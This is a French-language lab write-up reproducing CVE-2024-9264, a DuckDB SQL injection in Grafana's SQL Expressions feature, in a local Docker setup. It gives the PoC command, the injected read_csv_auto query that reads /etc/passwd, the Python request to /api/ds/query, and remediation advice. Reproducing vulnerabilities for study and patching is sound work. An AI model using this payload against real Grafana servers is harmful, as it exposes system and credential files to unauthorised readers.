
Exploit PoC pour CVE-2024-9264 : vulnérabilité d'expression SQL dans Grafana permettant l'inclusion locale de fichiers et l'exécution de code à distance via une injection SQL DuckDB. Comprend la configuration d'un lab Docker et un script d'exploit Python.
Document de référence https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Élément | Description |
|---|
| CVE | CVE-2024-9264 |
| Cible | Grafana (SQL Expressions) |
| Impact | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| Sévérité | Critical (CVSS 9.9) |
| Condition d'attaque | Utilisateur authentifié (privilèges Admin) |
| Méthode d'attaque | Exploitation de la fonction SQL Expression pour exécuter DuckDB SQL |
Grafana est un outil de monitoring open source qui visualise diverses données (serveurs, applications, bases de données, etc.) sous forme de graphiques ou de tableaux de bord faciles à lire.
CVE-2024-9264 est une vulnérabilité dans la fonction SQL Expressions de Grafana.
DuckDB SQL utilisé en interne par Grafana n'est pas correctement validé, ce qui permet à un attaquant d'exécuter du DuckDB SQL arbitraire via une expression SQL.
Cela peut être utilisé pour :
etc.
Dans cette pratique, nous avons exécuté Grafana 11.0.0 dans un environnement Docker, puis reproduit la vulnérabilité en lisant le fichier /etc/passwd à l'aide d'un PoC.
| Composant | Description |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Vérification de l'exécution de Grafana
http://localhost:3000

Les informations de compte par défaut de Grafana sont les suivantes :
ID : admin
PW : admin
Pour que la vulnérabilité se produise, les conditions suivantes doivent être remplies :
Dans cette pratique, nous avons utilisé le compte administrateur par défaut (admin/admin).
Exécution du PoC
Pour lire un fichier local, la commande suivante a été exécutée :
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
Le PoC génère l'expression SQL suivante :
SELECT * FROM read_csv_auto('/etc/passwd')
Il l'envoie à l'API /api/ds/query de Grafana.
Grafana a exécuté le SQL tel quel et a renvoyé le contenu de /etc/passwd dans la réponse.

D'autres fichiers que /etc/passwd peuvent également être consultés.

Cela confirme que l'inclusion de fichier local (LFI) a été réalisée avec succès.
Le PoC est écrit en Python et effectue les étapes suivantes :
/api/ds/query)Le SQL généré lors de la lecture du fichier est le suivant :
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
La requête API est effectuée comme suit :
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
Cela peut également être vérifié avec la commande curl.

La méthode de remédiation la plus efficace consiste à mettre à jour vers la dernière version corrigeant la vulnérabilité.
Désactiver la fonction SQL Expressions si elle n'est pas nécessaire, ou limiter sa portée en appliquant le principe du moindre privilège.
Après avoir déployé Grafana 11.0.0 dans un environnement Docker, nous avons reproduit la vulnérabilité CVE-2024-9264.
En utilisant un PoC écrit en Python, nous avons exploité la fonction SQL Expression et réussi à lire le fichier /etc/passwd.
Cela confirme qu'une validation insuffisante des entrées de l'expression SQL peut exposer des fichiers sensibles et, selon l'environnement, peut également conduire à une exécution de code à distance (RCE). Ces vulnérabilités peuvent être évitées grâce à des mesures de sécurité telles que la mise à jour vers la dernière version, la limitation de la fonction SQL Expressions et la protection du compte administrateur.